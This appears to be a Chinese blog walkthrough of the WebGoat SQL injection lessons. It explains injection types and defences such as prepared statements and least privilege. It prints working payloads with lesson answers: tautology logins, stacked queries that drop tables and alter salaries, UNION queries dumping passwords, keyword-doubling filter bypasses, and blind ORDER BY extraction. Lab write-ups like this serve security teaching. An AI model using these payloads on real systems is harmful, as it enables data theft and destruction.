webgoat-(A1)SQL Injection

SQL Injection (intro)

SQL 命令主要分为三类:
数据操作语言 (DML)DML 语句可用于请求记录 (SELECT)、添加记录 (INSERT)、删除记录 (DELETE) 和修改现有记录 (UPDATE)。
如果攻击者成功地将 DML 语句“注入”到 SQL 数据库中,则可能会破坏系统的机密性(使用 SELECT 语句)、完整性(使用 UPDATE 语句)和可用性(使用 DELETE 或 UPDATE 语句)

数据定义语言 (DDL)DDL 命令通常用于定义数据库的架构。架构是指数据库的整体结构或组织,在 SQL 数据库中,包括表、索引、视图、关系、触发器等对象。
如果攻击者成功地将 DDL 类型的 SQL 命令“注入”到数据库中,他可能会破坏系统的完整性(使用 ALTER 和 DROP 语句)和可用性(使用 DROP 语句)。

数据控制语言 (DCL)DCL 可用于撤消和授予用户对数据库对象(如表、视图和函数)的权限。如果攻击者成功地将 DCL 类型的 SQL 命令“注入”到数据库中,他可能会破坏系统的机密性(使用 GRANT 命令)和可用性(使用 REVOKE 命令)。例如,攻击者可以授予自己对数据库的管理员权限或撤消真正管理员的权限。DCL命令用于实现对数据库对象的访问控制。GRANT - 授予用户对数据库对象的访问权限
REVOKE - 撤销以前使用 GRANT 授予的用户权限
GRANT语句用于授权用户或角色执行特定的数据库操作或访问特定的表。
下面是一个示例,演示如何使用GRANT语句将表的SELECT权限授予用户"username":
GRANT SELECT ON table_name TO username;
在上面的语句中,将"table_name"替换为您要授予权限的表的实际名称,并将"username"替换为您要授予权限的用户的实际名称。

SQL注入

SQL注入(也称为SQLi)是最常见的网络黑客技术之一。SQL 注入攻击包括通过从客户端到应用程序的 SQL 查询输入插入或“注入”恶意代码。如果处理不当,SQL注入会严重影响数据的完整性和安全性。
SQL注入可以用于读取单个用户的数据。以下是黑客可能输入表单字段(或接受用户输入的任何位置)以试图利用 SQL 注入漏洞的几个数据示例:

Smith’ OR ‘1’ = '1
结果,其中将返回 Users 表中的所有条目SELECT * FROM users WHERE name = ‘Smith’ OR TRUE;

Smith’ OR 1 = 1; –
结果,与第一个示例一样,也将返回 users 表中的所有条目SELECT * FROM users WHERE name = ‘Smith’ OR TRUE;–';

Smith’; DROP TABLE users; TRUNCATE audit_log; –
链接多个 SQL 命令,以便 DROP users 表和删除 audit_log 表中的所有条目

成功的 SQL 注入漏洞可以:
从数据库中读取和修改敏感数据、对数据库执行管理操作、关闭审核或 DBMS、截断表和日志、添加用户、恢复 DBMS 文件系统上存在的给定文件的内容、向操作系统发出命令
SQL 注入攻击允许攻击者
欺骗身份、篡改现有数据、导致否认问题,例如取消交易或更改余额、允许完全披露系统上的所有数据、销毁数据或使其不可用、成为数据库服务器的管理员

字符串 SQL 注入
代码中的查询生成一个动态查询,如上一示例所示。查询是通过连接字符串来构建的,使其容易受到字符串 SQL 注入的影响:

“SELECT * FROM user_data WHERE first_name = ‘John’ AND last_name = '” + lastName + “'”;
数字 SQL 注入
代码中的查询生成一个动态查询,如上一示例所示。代码中的查询通过连接一个数字来构建动态查询,使其容易受到数字 SQL 注入的影响:
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
SQL 查询链接?
查询链接顾名思义。使用查询链接,您可以尝试将一个或多个查询追加到 实际查询。您可以使用 ; 元字符来执行此操作。A ;标记 SQL 语句的结尾;它允许在初始查询之后立即启动另一个查询,甚至不需要开始新行。

SQL注入如何影响CIA原则?

  • 使用字符串 SQL 注入损害机密性,如可以查询不应该查到的信息。
  • 通过查询链接损害完整性,使用查询链接,您可以尝试将一个或多个查询追加到 实际查询。您可以使用 ; 元字符来执行此操作。A ;标记 SQL 语句的结尾;它允许在初始查询之后立即启动另一个查询,甚至不需要开始新行。可以改变数据库数据。
  • 有许多不同的方法可以违反可用性。 如果帐户被删除或其密码被更改,则实际所有者将无法再访问此帐户。 攻击者还可以尝试删除部分数据库,甚至删除整个数据库,以使数据无法访问。 撤销管理员或其他用户的访问权限是影响可用性的另一种方式;这将阻止这些用户以 WHDLE 的形式访问数据库的特定部分,甚至整个数据库。

0x10

Login_Count:1
User_Id: 1 or 1=1

0x11

注意用–使后面的语句无效。
在这里插入图片描述

0x12

employee name: '; update employees set salary=1000000 where last_name=‘Smith’;-- -tan: 不填或者随便填

0x013

'; drop table access_log;-- -
在这里插入图片描述

SQL Injection (advanced)

特殊字符

/* */ 可以用来替代空格
– , # 用来注释后面的输入

Example: SELECT * FROM users WHERE name = ‘admin’ – AND pass = ‘pass’
; 允许语句连接

Example: SELECT * FROM users; DROP TABLE users;
',+,|| 允许语句拼接
Char() strings without quotes

Example: SELECT * FROM users WHERE name = ‘+char(27)’ OR 1=1
特别声明

SQL UNION 操作符

SQL UNION 操作符合并两个或多个 SELECT 语句的结果。
请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法
SELECT column_name(s) FROM table1
UNION ALL
SELECT column_name(s) FROM table2;
注释:UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

joion

Join 运算符用于根据相关列合并两个或多个表中的行

SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;
有关JOINS的更多详细信息,请访问:https://www.w3schools.com/sql/sql_join.asp

0x13

ji’ union select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data–
用union拼接即可,需要注意第二个语句字段数和字段类型需要和user_data表的保持一致即可。
在这里插入图片描述
’ or true union select 1,‘2’,‘3’,‘4’,‘5’,password, 7 from user_system_data–
这种查询也可以,因为第二个语句只要password结果,所以让其他为int的用数字,char的用字符。
在这里插入图片描述

SQL盲注

在上面的SQL注入,在文本框输入后,会直接在页面显示我们输入的结果。
SQL盲注,即输入后,结果不显示。这种注入,只能询问一些问题。
SQL盲注分为content-based and time-based SQL injections.
如https://shop.example.com/?article=4 and 1=1 如果返回不存在,则说明没有SQL注入问题。
基于时间注入:article = 4; sleep(10) – 如果存在注入,则在返回结果之前,会等待10s

预处理语句

在SQL中,预处理语句(prepared statement)和语句(statement)都是用于执行SQL查询的方式,但它们之间有一些关键区别。

预处理语句(Prepared Statement):
预处理语句是一种SQL语句的预编译形式,它允许在执行之前对SQL语句进行编译。编译后的预处理语句可以重复使用,而不需要每次执行时都重新编译。预处理语句通常用于执行参数化查询,即带有动态插入值的查询。这样可以提高执行效率,并减少SQL注入攻击的风险。预处理语句通常使用占位符(如问号标记)来表示动态插入的值,这些占位符在执行预处理语句时会被实际的值替换。
示例(使用问号占位符):

sql
PREPARE my_prepared_statement FROM ‘SELECT * FROM customers WHERE name = ?’;
EXECUTE my_prepared_statement USING ‘John’;
语句(Statement):
语句是SQL查询的基本单位,它是一条完整的SQL命令,用于执行特定的操作。语句可以是静态的,也可以是动态的,这取决于是否包含变量或参数。静态语句是固定的SQL查询,不包含任何变量或参数。动态语句包含变量或参数,需要在执行时提供实际的值。语句的执行效率相对较低,因为每次执行都需要重新编译。
示例(静态语句):

sql
SELECT * FROM customers;
示例(动态语句):

sql
SELECT * FROM customers WHERE name = ‘John’;
总结:
预处理语句和语句的主要区别在于预处理语句是预先编译的,可以重复使用,适用于参数化查询,而语句是即时的,每次执行都需要重新编译,适用于静态查询或不含变量的动态查询。在实际应用中,为了提高性能和安全性,通常推荐使用预处理语句来执行参数化查询。

SQL Injection (mitigation) 如何防止SQL注入?

如下方法是针对 SQL 注入的最佳防御措施。它们要么没有可以解释的数据,要么将数据视为绑定到列而不进行解释的单个实体。
1、静态查询
SELECT * FROM products;
SELECT * FROM users WHERE user = “'” + session.getAttribute(“UserID”) + “'”;
2、 参数化查询使用预编译的SQL语句来执行查询
String query = “SELECT * FROM users WHERE last_name = ?”;
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
使用预编译的SQL语句(PreparedStatement)有几个优点:
防止SQL注入:预编译的SQL语句使用占位符(?)来代替动态插入的值,这样就可以防止恶意用户在查询中注入额外的SQL代码。
提高性能:预编译的SQL语句只需要编译一次,然后可以多次执行,这样可以提高数据库的性能。

public static bool isUsernameValid(string username) {RegEx r = new Regex("^[A-Za-z0-9]{16}$");return r.isMatch(username);
}// java.sql.Connection conn is set elsewhere for brevity.
PreparedStatement ps = null;
RecordSet rs = null;
try {pUserName = request.getParameter("UserName");if ( isUsernameValid (pUsername) ) {ps = conn.prepareStatement("SELECT * FROM user_tableWHERE username = ? ");ps.setString(1, pUsername);rs = ps.execute();if ( rs.next() ) {// do the work of making the user record active in some way}} else { // handle invalid input }
}
catch (...) { // handle all exceptions ... }

3、存储过程
仅当存储过程不生成动态 SQL 时
4、即使采用了参数化查询,也需要进行输入验证,要同时进行这两种处理。
因为可以防止其他类型的攻击存储在数据库中,如存储的 XSS、信息泄露、逻辑错误 - 业务规则验证、SQL注入

0x05

在这里插入图片描述

0x06

编写一段代码实现查询name并防止SQL注入

try {Connection conn = null;conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);//连接数据库String query="select * from users where name=?";//查询语句PreparedStatement s=conn.prepareStatement(query);//PreparedStatement对象是预编译的SQL语句,可以传递参数,并执行查询。s.setString(1,"Bob");//将查询的参数值设置为"Bob"。参数的索引从1开始,对应于查询字符串中的参数占位符。ResultSet results=s.executeQuery();//执行查询,并将查询结果存储在ResultSet对象results中} catch (Exception e) {System.out.println("Oops. Something went wrong!");
}

0x09

使用 1’ union select 1,user_name,‘3’,‘4’,‘5’,password,6 from user_system_data-- 提示不让输入空格
参考https://blog.csdn.net/weixin_51566481/article/details/126558958
#提示说空格不能使用,那我们使用+或者//代替空格
答案:1’/
/union//select//1,user_name,‘3’,‘4’,‘5’,password,6//from//user_system_data–
在这里插入图片描述
这一题是为了证明,即使过滤了空格,但如果没做参数化查询,也能够绕过。

0x10

可以看到过滤了空格和SQL关键字。
在这里插入图片描述
源代码

userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", "");

可以看到,先将输入都大写,然后将FROM和SELECT替换为空字符。考虑采用双写绕过

1'/**/union/**/seselectlect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+

在这里插入图片描述
这题也是为了证明,只有输入过滤是不行的,可以绕过。

Order by clause

即使使用预编译数据,也可能有SQL注入。
SQL中的order语句

SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname) END;

在order by子句,可以询问数据库一些问题,如果结果为true,则按照第一个字段排序,如果结果为false,则按照第二个字段排序。
order注入无论是否有预编译语句,都可执行。

0x12

本题采用order注入,题目要求获取 webgoat-prd hostname的前三位。
加粗样式思路:询问数据库每个位置是数字几,根据排序结果判断询问结果。

https://blog.csdn.net/weixin_51566481/article/details/126558958
https://blog.csdn.net/elephantxiang/article/details/114272407
1、点击ip和hostname可以进行排序,抓包。
在这里插入图片描述2、参数使用:
(CASE WHEN true THEN ip ELSE hostname END) 返回了结果,说明存在order注入。
在这里插入图片描述3、不带参数,从报错可以看到数据表是servers
在这里插入图片描述
4、构造语句
(CASE WHEN substr((select ip from servers where hostname=‘webgoat-prd’),1,1)=‘1’ THEN ip ELSE hostname END)
在这里插入图片描述

(CASE WHEN substr((select ip from servers where hostname=‘webgoat-prd’),2,1)=‘x’ THEN ip ELSE hostname END)
(CASE WHEN substr((select ip from servers where hostname=‘webgoat-prd’),3,1)=‘x’ THEN ip ELSE hostname END)
sub语句用来判断webgoat-prd的第x个字符是否为x,如果该语句结果为true,则请求结果会按照ip排序,如果为false,则请求结果按照hostname排序。
分别对1,2,3 三个位置尝试0-9,即进行爆破,查看请求结果排序是按照ip还是host,得到结果为104。

最小特权

  • 使用最小权限集进行连接
    应用程序应使用不同的凭据连接到数据库,以实现每个信任区别
  • 应用程序很少需要对表或数据库的删除权限
  • 数据库帐户应限制架构访问,即不允许账户修改数据的schema,如为表添加修改字段。
  • 定义用于读取和读/写访问的数据库帐户
  • 基于访问权限的多个连接池
    对身份验证查询使用只读访问权限、对数据修改查询使用读/写访问权限、使用 execute 访问存储过程调用

思维导图

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/133406.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【自我提升】项目升级-Beyond Compare效率工具

写在前面:最近接手一个项目,这个项目集成了许多开源项目,其中我需要对其中一个开源项目进行升级操作。在此记录升级过程和心得,希望可以给各位道友提供一种思路,同时也希望道友有更好的办法能分享在评论区。 项目场景 …

RabiitMQ消息队列系统

一、MQ 1、概念: MQ 全称为 Message Queue (消息队列),是一种应用程序对应用程序的通信方法。MQ 允许应用程序将消息写入队列,其他应用程序从队列中读取并处理这些消息,不需要它们之间直接相互联系。消息队列可用于实现异步通信…

idea Error: java: OutOfMemoryError: insufficient memory处理

IDEA设置里,修改heap size更大一点,可以解决问题

apachesolr启动带调试

这里solr.cmd报错,报错原因是java版本问题,后面发现这是因为多个java版本导致读取java_home失败, 那么我们修改solr.cmd中的JAVA_HOME为SOLR_JAVA_HOME IF DEFINED SOLR_JAVA_HOME set "JAVA_HOME%SOLR_JAVA_HOME%"环境变量将SOLR…

【Python基础】史上最全||一篇博客搞懂Python面向对象编程(封装、继承、多态)

Python面向对象编程 1.面向对象概念介绍1) 面相过程 —— 怎么做?2)面向对象 谁来做 2.类和对象2.1类2.2对象2.3类和对象的关系2.4类的设计2.5面向对象设计案例 士兵类设计2.6身份运算符 3.私有属性和私有方法3.1. 应用场景及定义方式 4.继承、多态重写父…

2014年亚太杯APMCM数学建模大赛C题公共基础课教师专业化培养方式研究求解全过程文档及程序

2014年亚太杯APMCM数学建模大赛 C题 公共基础课教师专业化培养方式研究 原题再现 近年来,世界基础工业、信息产业、服务业的跨越式发展引发了大量人才需求,导致了职业教育的飞速发展,除原有专科层次高等职业教育院校外,大量普通…

24PL-18-50-1836、12PN-4.1-50-1836比例电磁铁控制器

12PG-2.2-40-1836、24PG-8.8-40-1836、12PT-40-1836、24PT-40-1836、12PL-2.2-40-1836、24PL-8.8-40-1836、12PN-2.2-40-1836、24PN-8.8-40-1836、12PG-4.1-50-1836、24PG-18-50-1836、12PT-4.1-50-1836、24PT-18-50-1836、12PL-4.1-50-1836、24PL-18-50-1836、12PN-4.1-50-183…

基于8086汽车智能小车控制系统

**单片机设计介绍,基于8086汽车智能小车控制系统 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于 8086 的汽车智能小车控制系统是一种将微处理器技术应用于汽车控制的系统。下面是其主要的设计介绍: 硬…

大数据学习之Spark性能优化

文章目录 Spark三种任务提交模式宽依赖和窄依赖StageSpark Job的三种提交模式 Shuffle机制分析未优化的Hash Based Shuffle优化后的Hash Based ShuffleSort-Based Shuffle Spark之checkpointcheckpoint概述checkpoint与持久化的区别checkPoint的使用checkpoint源码分析 Spark程…

Django实战项目-学习任务系统-发送短信通知

接着上期代码内容,继续完善优化系统功能。 本次增加发送短信通知功能,学习任务系统发布的任务,为了更加及时通知到学生用户,再原有发送邮件通知基础上,再加上手机短信通知功能。 第一步:开通短信通知服务…

Docker容器中执行throttle.sh显示权限报错:RTNETLINK answers: Operation not permitted

在模拟通信环境时,我执行了一下命令: bash ./throttle.sh wan但是,出现了权限的报错:RTNETLINK answers: Operation not permitted 解决方案说简单也挺简单,只需要两步完成。但是其实又蛮繁琐,因为需要将…

正点原子嵌入式linux驱动开发——Linux 4G通信

前面学习了如何在Linux中使用有线网络或者WIFI,但是使用有线网络或者WIFI有很多限制,因为要布线,即使是WIFI也得先布线,然后再接个无线路由器。有很多场合是不方便布线的,这个时候就是4G大显身手的时候,产品…

答题小程序排位pk答题怎么玩

答题小程序排位PK答题升级赛是一个备受喜爱的功能,它不仅增加了用户之间的互动和竞争,同时也为答题小程序增添了更多的趣味性和挑战性。那么,如何参与答题小程序的排位PK答题升级赛呢?本文将详细介绍答题小程序的排位PK答题升级赛…

关于打包css找不到报错

背景&#xff1a;最近公司产品升级为v3项目&#xff0c;打包总是报css缺失 问题&#xff1a;报错提示如下&#xff0c;找不到css 出现原因分析&#xff1a;由于项目比较老&#xff0c;很多人写的&#xff0c;代码风格不统一导致的&#xff0c;比如父组件A使用<style><…

unity【动画】脚本_角色动画控制器 c#

首先创建一个代码文件夹Scripts 从人物角色Player的基类开始 创建IPlayer类 首先我们考虑到如果不挂载MonoBehaviour需要将角色设置成预制体实例化到场景上十分麻烦&#xff0c; 所以我们采用继承MonoBehaviour类的角色基类方法写代码 也就是说这个脚本直接绑定在角色物体…

CSS 背景、文本、字体

CSS背景&#xff1a; CSS背景属性用于定义HTML元素的背景。CSS属性定义背景效果&#xff1a;background-color&#xff1b;background-image&#xff1b;background-repeat&#xff1b;background-attachment&#xff1b;background-position。 background-color属性定义元素…

【验证码系列】Google验证码从数据训练到机器自动识别算法构建

文章目录 1. 写在前面2. CSCI级设计决策2.1. Google验证码突防关联2.2. Google验证码突防行为设计决策 3. Google验证码突防体系结构设计3.1. Google验证码突防部件3.1.2. Google验证码突防组成 3.2. Google验证码突防软件3.2.1. Google验证码突防软件体系结构3.2.2. Google验证…

视频集中存储/云存储EasyCVR启动后查询端口是否被占用出错,该如何解决?

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

2023年亚太杯APMCM数学建模大赛ABC题辅导及组队

2023年亚太杯APMCM数学建模大赛 ABC题 一元线性回归分析类 回归分析&#xff08;Regression Analysis)是确定两种或两种以上变量间相互依赖的定量关系的一种统计分析方法。   – 按涉及变量个数划分   • 一元回归分析   • 多元回归分析   – 按自变量和因变量之间关…

一种单总线串口通信的调试方法

单总线的优点&#xff1a; 节省IO口&#xff0c;发送时可以将单片机的RXD设置为普通IO进行软件模拟发送&#xff0c;发送完设置为串口接收。避免通信干扰&#xff0c;由于是通过IO口对三极管/MOS管进行拉高拉低&#xff0c;外部信号不易对IO口进行干扰&#xff0c;EMI&#xf…